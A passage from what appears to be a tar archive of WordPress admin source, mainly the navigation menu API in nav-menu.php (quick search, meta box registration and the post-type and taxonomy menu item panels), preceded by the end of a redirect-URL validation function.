	$invalid_protocols = array_map( 'strtolower', apply_filters( 'wp_authorize_application_redirect_url_invalid_protocols', $bad_protocols, $url ) );

	$scheme   = wp_parse_url( $url, PHP_URL_SCHEME );
	$host     = wp_parse_url( $url, PHP_URL_HOST );
	$is_local = 'local' === wp_get_environment_type();

	// validates if the proper URI format is applied to the $url
	if ( empty( $host ) || empty( $scheme ) || in_array( strtolower( $scheme ), $invalid_protocols, true ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	if ( 'http' === $scheme && ! $is_local ) {
		return new WP_Error(
			'invalid_redirect_scheme',
			__( 'The URL must be served over a secure connection.' )
		);
	}

	return true;
}
nav-menu.php000064400000137345150275632050007025 0ustar00<?php
/**
 * Core Navigation Menu API
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/** Walker_Nav_Menu_Edit class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-edit.php';

/** Walker_Nav_Menu_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-checklist.php';

/**
 * Prints the appropriate response to a menu quick search.
 *
 * @since 3.0.0
 *
 * @param array $request The unsanitized request values.
 */
function _wp_ajax_menu_quick_search( $request = array() ) {
	$args            = array();
	$type            = isset( $request['type'] ) ? $request['type'] : '';
	$object_type     = isset( $request['object_type'] ) ? $request['object_type'] : '';
	$query           = isset( $request['q'] ) ? $request['q'] : '';
	$response_format = isset( $request['response-format'] ) ? $request['response-format'] : '';

	if ( ! $response_format || ! in_array( $response_format, array( 'json', 'markup' ), true ) ) {
		$response_format = 'json';
	}

	if ( 'markup' === $response_format ) {
		$args['walker'] = new Walker_Nav_Menu_Checklist();
	}

	if ( 'get-post-item' === $type ) {
		if ( post_type_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];

				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_post( $object_id ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => get_the_title( $object_id ),
							'post_type'  => get_post_type( $object_id ),
						)
					);
					echo "\n";
				}
			}
		} elseif ( taxonomy_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];

				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					$post_obj = get_term( $object_id, $object_type );
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => $post_obj->name,
							'post_type'  => $object_type,
						)
					);
					echo "\n";
				}
			}
		}
	} elseif ( preg_match( '/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches ) ) {
		if ( 'posttype' === $matches[1] && get_post_type_object( $matches[2] ) ) {
			$post_type_obj = _wp_nav_menu_meta_box_object( get_post_type_object( $matches[2] ) );
			$args          = array_merge(
				$args,
				array(
					'no_found_rows'          => true,
					'update_post_meta_cache' => false,
					'update_post_term_cache' => false,
					'posts_per_page'         => 10,
					'post_type'              => $matches[2],
					's'                      => $query,
				)
			);

			if ( isset( $post_type_obj->_default_query ) ) {
				$args = array_merge( $args, (array) $post_type_obj->_default_query );
			}

			$search_results_query = new WP_Query( $args );
			if ( ! $search_results_query->have_posts() ) {
				return;
			}

			while ( $search_results_query->have_posts() ) {
				$post = $search_results_query->next_post();

				if ( 'markup' === $response_format ) {
					$var_by_ref = $post->ID;
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $post->ID,
							'post_title' => get_the_title( $post->ID ),
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		} elseif ( 'taxonomy' === $matches[1] ) {
			$terms = get_terms(
				array(
					'taxonomy'   => $matches[2],
					'name__like' => $query,
					'number'     => 10,
					'hide_empty' => false,
				)
			);

			if ( empty( $terms ) || is_wp_error( $terms ) ) {
				return;
			}

			foreach ( (array) $terms as $term ) {
				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree(
						array_map( 'wp_setup_nav_menu_item', array( $term ) ),
						0,
						(object) $args
					);
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $term->term_id,
							'post_title' => $term->name,
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		}
	}
}

/**
 * Register nav menu meta boxes and advanced menu items.
 *
 * @since 3.0.0
 */
function wp_nav_menu_setup() {
	// Register meta boxes.
	wp_nav_menu_post_type_meta_boxes();
	add_meta_box(
		'add-custom-links',
		__( 'Custom Links' ),
		'wp_nav_menu_item_link_meta_box',
		'nav-menus',
		'side',
		'default'
	);
	wp_nav_menu_taxonomy_meta_boxes();

	// Register advanced menu items (columns).
	add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

	// If first time editing, disable advanced items by default.
	if ( false === get_user_option( 'managenav-menuscolumnshidden' ) ) {
		$user = wp_get_current_user();
		update_user_meta(
			$user->ID,
			'managenav-menuscolumnshidden',
			array(
				0 => 'link-target',
				1 => 'css-classes',
				2 => 'xfn',
				3 => 'description',
				4 => 'title-attribute',
			)
		);
	}
}

/**
 * Limit the amount of meta boxes to pages, posts, links, and categories for first time users.
 *
 * @since 3.0.0
 *
 * @global array $wp_meta_boxes
 */
function wp_initial_nav_menu_meta_boxes() {
	global $wp_meta_boxes;

	if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array( $wp_meta_boxes ) ) {
		return;
	}

	$initial_meta_boxes = array( 'add-post-type-page', 'add-post-type-post', 'add-custom-links', 'add-category' );
	$hidden_meta_boxes  = array();

	foreach ( array_keys( $wp_meta_boxes['nav-menus'] ) as $context ) {
		foreach ( array_keys( $wp_meta_boxes['nav-menus'][ $context ] ) as $priority ) {
			foreach ( $wp_meta_boxes['nav-menus'][ $context ][ $priority ] as $box ) {
				if ( in_array( $box['id'], $initial_meta_boxes, true ) ) {
					unset( $box['id'] );
				} else {
					$hidden_meta_boxes[] = $box['id'];
				}
			}
		}
	}

	$user = wp_get_current_user();
	update_user_meta( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes );
}

/**
 * Creates meta boxes for any post type menu item..
 *
 * @since 3.0.0
 */
function wp_nav_menu_post_type_meta_boxes() {
	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );

	if ( ! $post_types ) {
		return;
	}

	foreach ( $post_types as $post_type ) {
		/**
		 * Filters whether a menu items meta box will be added for the current
		 * object type.
		 *
		 * If a falsey value is returned instead of an object, the menu items
		 * meta box for the current meta box object will not be added.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Post_Type|false $post_type The current object to add a menu items
		 *                                      meta box for.
		 */
		$post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );

		if ( $post_type ) {
			$id = $post_type->name;
			// Give pages a higher priority.
			$priority = ( 'page' === $post_type->name ? 'core' : 'default' );
			add_meta_box(
				"add-post-type-{$id}",
				$post_type->labels->name,
				'wp_nav_menu_item_post_type_meta_box',
				'nav-menus',
				'side',
				$priority,
				$post_type
			);
		}
	}
}

/**
 * Creates meta boxes for any taxonomy menu item.
 *
 * @since 3.0.0
 */
function wp_nav_menu_taxonomy_meta_boxes() {
	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );

	if ( ! $taxonomies ) {
		return;
	}

	foreach ( $taxonomies as $tax ) {
		/** This filter is documented in wp-admin/includes/nav-menu.php */
		$tax = apply_filters( 'nav_menu_meta_box_object', $tax );

		if ( $tax ) {
			$id = $tax->name;
			add_meta_box(
				"add-{$id}",
				$tax->labels->name,
				'wp_nav_menu_item_taxonomy_meta_box',
				'nav-menus',
				'side',
				'default',
				$tax
			);
		}
	}
}

/**
 * Check whether to disable the Menu Locations meta box submit button and inputs.
 *
 * @since 3.6.0
 * @since 5.3.1 The `$display` parameter was added.
 *
 * @global bool $one_theme_location_no_menus to determine if no menus exist
 *
 * @param int|string $nav_menu_selected_id ID, name, or slug of the currently selected menu.
 * @param bool       $display              Whether to display or just return the string.
 * @return string|false Disabled attribute if at least one menu exists, false if not.
 */
function wp_nav_menu_disabled_check( $nav_menu_selected_id, $display = true ) {
	global $one_theme_location_no_menus;

	if ( $one_theme_location_no_menus ) {
		return false;
	}

	return disabled( $nav_menu_selected_id, 0, $display );
}

/**
 * Displays a meta box for the custom links menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 */
function wp_nav_menu_item_link_meta_box() {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

	$_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1;

	?>
	<div class="customlinkdiv" id="customlinkdiv">
		<input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" />
		<p id="menu-item-url-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
			<input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]"
				type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
				class="code menu-item-textbox form-required" placeholder="https://"
			/>
		</p>

		<p id="menu-item-name-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
			<input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]"
				type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
				class="regular-text menu-item-textbox"
			/>
		</p>

		<p class="button-controls wp-clearfix">
			<span class="add-to-menu">
				<input id="submit-customlinkdiv" name="add-custom-menu-item"
					type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.customlinkdiv -->
	<?php
}

/**
 * Displays a meta box for a post type menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 *
 * @param string $data_object Not used.
 * @param array  $box {
 *     Post type menu item meta box arguments.
 *
 *     @type string       $id       Meta box 'id' attribute.
 *     @type string       $title    Meta box title.
 *     @type callable     $callback Meta box display callback.
 *     @type WP_Post_Type $args     Extra meta box arguments (the post type object for this meta box).
 * }
 */
function wp_nav_menu_item_post_type_meta_box( $data_object, $box ) {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

	$post_type_name = $box['args']->name;
	$post_type      = get_post_type_object( $post_type_name );
	$tab_name       = $post_type_name . '-tab';

	// Paginate browsing for large numbers of post objects.
	$per_page = 50;
	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

	$args = array(
		'offset'                 => $offset,
		'order'                  => 'ASC',
		'orderby'                => 'title',
		'posts_per_page'         => $per_page,
		'post_type'              => $post_type_name,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
	);

	if ( isset( $box['args']->_default_query ) ) {
		$args = array_merge( $args, (array) $box['args']->_default_query );
	}

	/*
	 * If we're dealing with pages, let's prioritize the Front Page,
	 * Posts Page and Privacy Policy Page at the top of the list.
	 */
	$important_pages = array();
	if ( 'page' === $post_type_name ) {
		$suppress_page_ids = array();

		// Insert Front Page or custom Home link.
		$front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;

		$front_page_obj = null;

		if ( ! empty( $front_page ) ) {
			$front_page_obj = get_post( $front_page );
		}

		if ( $front_page_obj ) {
			$front_page_obj->front_or_home = true;

			$important_pages[]   = $front_page_obj;
			$suppress_page_ids[] = $front_page_obj->ID;
		} else {
			$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
			$front_page_obj        = (object) array(
				'front_or_home' => true,
				'ID'            => 0,
				'object_id'     => $_nav_menu_placeholder,
				'post_content'  => '',
				'post_excerpt'  => '',
				'post_parent'   => '',
				'post_title'    => _x( 'Home', 'nav menu home label' ),
				'post_type'     => 'nav_menu_item',
				'type'          => 'custom',
				'url'           => home_url( '/' ),
			);

			$important_pages[] = $front_page_obj;
		}

		// Insert Posts Page.
		$posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0;

		if ( ! empty( $posts_page ) ) {
			$posts_page_obj = get_post( $posts_page );

			if ( $posts_page_obj ) {
				$front_page_obj->posts_page = true;

				$important_pages[]   = $posts_page_obj;
				$suppress_page_ids[] = $posts_page_obj->ID;
			}
		}

		// Insert Privacy Policy Page.
		$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( ! empty( $privacy_policy_page_id ) ) {
			$privacy_policy_page = get_post( $privacy_policy_page_id );

			if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) {
				$privacy_policy_page->privacy_policy_page = true;

				$important_pages[]   = $privacy_policy_page;
				$suppress_page_ids[] = $privacy_policy_page->ID;
			}
		}

		// Add suppression array to arguments for WP_Query.
		if ( ! empty( $suppress_page_ids ) ) {
			$args['post__not_in'] = $suppress_page_ids;
		}
	}

	// @todo Transient caching of these results with proper invalidation on updating of a post of this type.
	$get_posts = new WP_Query();
	$posts     = $get_posts->query( $args );

	// Only suppress and insert when more than just suppression pages available.
	if ( ! $get_posts->post_count ) {
		if ( ! empty( $suppress_page_ids ) ) {
			unset( $args['post__not_in'] );
			$get_posts = new WP_Query();
			$posts     = $get_posts->query( $args );
		} else {
			echo '<p>' . __( 'No items.' ) . '</p>';
			return;
		}
	} elseif ( ! empty( $important_pages ) ) {
		$posts = array_merge( $important_pages, $posts );
	}

	$num_pages = $get_posts->max_num_pages;

	$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'post_type',
					'item-object' => $post_type_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			/* translators: Hidden accessibility text. */
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

	$db_fields = false;
	if ( is_post_type_hierarchical( $post_type_name ) ) {
		$db_fields = array(
			'parent' => 'post_parent',
			'id'     => 'ID',
		);
	}

	$walker = new Walker_Nav_Menu_Checklist( $db_fields );

	$current_tab = 'most-recent';

	if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

	if ( ! empty( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] ) ) {
		$current_tab = 'search';
	}

	$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

	$most_recent_url = '';
	$view_all_url    = '';
	$search_url      = '';

	if ( $nav_menu_selected_id ) {
		$most_recent_url = add_query_arg( $tab_name, 'most-recent', remove_query_arg( $removed_args ) );
		$view_all_url    = add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) );
		$search_url      = add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) );
	}
	?>
	<div id="<?php echo esc_attr( "posttype-{$post_type_name}" ); ?>" class="posttypediv">
		<ul id="<?php echo esc_attr( "posttype-{$post_type_name}-tabs" ); ?>" class="posttype-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-recent' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
					href="<?php echo esc_url( $most_recent_url . "#tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
				>
					<?php _e( 'Most Recent' ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "{$post_type_name}-all" ); ?>"
					href="<?php echo esc_url( $view_all_url . "#{$post_type_name}-all" ); ?>"
				>
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-search" ); ?>"
					href="<?php echo esc_url( $search_url . "#tabs-panel-posttype-{$post_type_name}-search" ); ?>"
				>
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul><!-- .posttype-tabs -->

		<div id="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-most-recent" ); ?>"
			class="tabs-panel <?php echo ( 'most-recent' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php esc_attr_e( 'Most Recent' ); ?>" tabindex="0"
		>
			<ul id="<?php echo esc_attr( "{$post_type_name}checklist-most-recent" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$recent_args = array_merge(
					$args,
					array(
						'orderby'        => 'post_date',
						'order'          => 'DESC',
						'posts_per_page' => 15,
					)
				);
				$most_recent = $get_posts->query( $recent_args );

				$args['walker'] = $walker;

				/**
				 * Filters the posts displayed in the 'Most Recent' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers to the post type name.
				 *
				 * Possible hook names include:
				 *
				 *  - `nav_menu_items_post_recent`
				 *  - `nav_menu_items_page_recent`
				 *
				 * @since 4.3.0
				 * @since 4.9.0 Added the `$recent_args` parameter.
				 *
				 * @param WP_Post[] $most_recent An array of post objects being listed.
				 * @param array     $args        An array of `WP_Query` arguments for the meta box.
				 * @param array     $box         Arguments passed to `wp_nav_menu_item_post_type_meta_box()`.
				 * @param array     $recent_args An array of `WP_Query` arguments for 'Most Recent' tab.
				 */
				$most_recent = apply_filters(
					"nav_menu_items_{$post_type_name}_recent",
					$most_recent,
					$args,
					$box,
					$recent_args
				);

				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $most_recent ),
					0,
					(object) $args
				);
				?>
			</ul>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "tabs-panel-posttype-{$post_type_name}-search" ); ?>"
			class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $post_type->labels->search_items ); ?>" tabindex="0"
		>
			<?php
			if ( isset( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] ) ) {
				$searched       = esc_attr( $_REQUEST[ "quick-search-posttype-{$post_type_name}" ] );
				$search_results = get_posts(
					array(
						's'         => $searched,
						'post_type' => $post_type_name,
						'fields'    => 'all',
						'order'     => 'DESC',
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>" class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Search' );
					?>
				</label>
				<input type="search"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="quick-search" value="<?php echo $searched; ?>"
					name="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>"
					id="<?php echo esc_attr( "quick-search-posttype-{$post_type_name}" ); ?>"
				/>
				<span class="spinner"></span>
				<?php
				submit_button(
					__( 'Search' ),
					'small quick-search-submit hide-if-js',
					'submit',
					false,
					array( 'id' => "submit-quick-search-posttype-{$post_type_name}" )
				);
				?>
			</p>

			<ul id="<?php echo esc_attr( "{$post_type_name}-search-checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$post_type_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $search_results ),
					0,
					(object) $args
				);
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div><!-- /.tabs-panel -->

		<div id="<?php echo esc_attr( "{$post_type_name}-all" ); ?>"
			class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $post_type->labels->all_items ); ?>" tabindex="0"
		>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>

			<ul id="<?php echo esc_attr( "{$post_type_name}checklist" ); ?>"
				data-wp-lists="<?php echo esc_attr( "list:{$post_type_name}" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$args['walker'] = $walker;

				if ( $post_type->has_archive ) {
					$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1;
					array_unshift(
						$posts,
						(object) array(
							'ID'           => 0,
							'object_id'    => $_nav_menu_placeholder,
							'object'       => $post_type_name,
							'post_content' => '',
							'post_excerpt' => '',
							'post_title'   => $post_type->labels->archives,
							'post_type'    => 'nav_menu_item',
							'type'         => 'post_type_archive',
							'url'          => get_post_type_archive_link( $post_type_name ),
						)
					);
				}

				/**
				 * Filters the posts displayed in the 'View All' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers
				 * to the slug of the current post type.
				 *
				 * Possible hook names include:
				 *
				 *  - `nav_menu_items_post`
				 *  - `nav_menu_items_page`
				 *
				 * @since 3.2.0
				 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
				 *
				 * @see WP_Query::query()
				 *
				 * @param object[]     $posts     The posts for the current post type. Mostly `WP_Post` objects, but
				 *                                can also contain "fake" post objects to represent other menu items.
				 * @param array        $args      An array of `WP_Query` arguments.
				 * @param WP_Post_Type $post_type The current post type object for this menu item meta box.
				 */
				$posts = apply_filters(
					"nav_menu_items_{$post_type_name}",
					$posts,
					$args,
					$post_type
				);

				$checkbox_items = walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $posts ),
					0,
					(object) $args
				);

				echo $checkbox_items;
				?>
			</ul>

			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div><!-- /.tabs-panel -->

		<p class="button-controls wp-clearfix" data-items-type="<?php echo esc_attr( "posttype-{$post_type_name}" ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					id="<?php echo esc_attr( $tab_name ); ?>" class="select-all"
				/>
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

			<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?>
					class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>"
					name="add-post-type-menu-item" id="<?php echo esc_attr( "submit-posttype-{$post_type_name}" ); ?>"
				/>
				<span class="spinner"></span>
			</span>
		</p>

	</div><!-- /.posttypediv -->
	<?php
}

/**
 * Displays a meta box for a taxonomy menu item.
 *
 * @since 3.0.0
 *
 * @global int|string $nav_menu_selected_id
 *
 * @param string $data_object Not used.
 * @param array  $box {
 *     Taxonomy menu item meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type object   $args     Extra meta box arguments (the taxonomy object for this meta box).
 * }
 */
function wp_nav_menu_item_taxonomy_meta_box( $data_object, $box ) {
	global $nav_menu_selected_id;

	$taxonomy_name = $box['args']->name;
	$taxonomy      = get_taxonomy( $taxonomy_name );
	$tab_name      = $taxonomy_name . '-tab';

	// Paginate browsing for large numbers of objects.
	$per_page = 50;
	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

	$args = array(
		'taxonomy'     => $taxonomy_name,
		'child_of'     => 0,
		'exclude'      => '',
		'hide_empty'   => false,
		'hierarchical' => 1,
		'include'      => '',
		'number'       => $per_page,
		'offset'       => $offset,
		'order'        => 'ASC',
		'orderby'      => 'name',
		'pad_counts'   => false,
	);

	$terms = get_terms( $args );

	if ( ! $terms || is_wp_error( $terms ) ) {
		echo '<p>' . __( 'No items.' ) . '</p>';
		return;
	}

	$num_pages = ceil(
		wp_count_terms(
			array_merge(
				$args,
				array(
					'number' => '',
					'offset' => '',
				)
			)
		) / $per_page
	);

	$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'taxonomy',
					'item-object' => $taxonomy_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			/* translators: Hidden accessibility text. */
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

	$db_fields = false;
	if ( is_taxonomy_hierarchical( $taxonomy_name ) ) {
		$db_fields = array(
			'parent' => 'parent',
			'id'     => 'term_id',
		);
	}

	$walker = new Walker_Nav_Menu_Checklist( $db_fields );

	$current_tab = 'most-used';

	if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'most-used', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

	if ( ! empty( $_REQUEST[ "quick-search-taxonomy-{$taxonomy_name}" ] ) ) {
		$current_tab = 'search';
	}

	$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

	$most_used_url = '';
	$view_all_url  = '';
	$search_url    = '';

	if ( $nav_menu_selected_id ) {
		$most_used_url = add_query_arg( $tab_name, 'most-used', remove_query_arg( $removed_args ) );
		$view_all_url  = add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) );
		$search_url    = add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) );
	}
	?>
	<div id="<?php echo esc_attr( "taxonomy-{$taxonomy_name}" ); ?>" class="taxonomydiv">
		<ul id="<?php echo esc_attr( "taxonomy-{$taxonomy_name}-tabs" ); ?>" class="taxonomy-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-used' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-pop" ); ?>"
					href="<?php echo esc_url( $most_used_url . "#tabs-panel-{$taxonomy_name}-pop" ); ?>"
				>
					<?php echo esc_html( $taxonomy->labels->most_used ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-all" ); ?>"
					href="<?php echo esc_url( $view_all_url . "#tabs-panel-{$taxonomy_name}-all" ); ?>"
				>
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link"
					data-type="<?php echo esc_attr( "tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
					href="<?php echo esc_url( $search_url . "#tabs-panel-search-taxonomy-{$taxonomy_name}" ); ?>"
				>
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul><!-- .taxonomy-tabs -->

		<div id="<?php echo esc_attr( "tabs-panel-{$taxonomy_name}-pop" ); ?>"
			class="tabs-panel <?php echo ( 'most-used' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>"
			role="region" aria-label="<?php echo esc_attr( $taxonomy->labels->most_used ); ?>" tabindex="0"
		>
			<ul id="<?php echo esc_attr( "{$taxonomy_name}checklist-pop" ); ?>"
				class="categorychecklist form-no-clear"
			>
				<?php
				$popular_terms = get_terms(
					array(
						'taxonomy'     => $taxonomy_name,
						'orderby'      => 'count',
						'order'        => 'DESC',
						'number'       => 10,
						'hierarchical' => false,
					)
				);

				$args['walker'] = $walker;
				echo walk_nav_menu_tree(
					array_map( 'wp_setup_nav_menu_item', $popular_terms ),
					0,
					(object) $args
				);
				?>
			</ul>
		</div><!-- /.tabs-panel -->

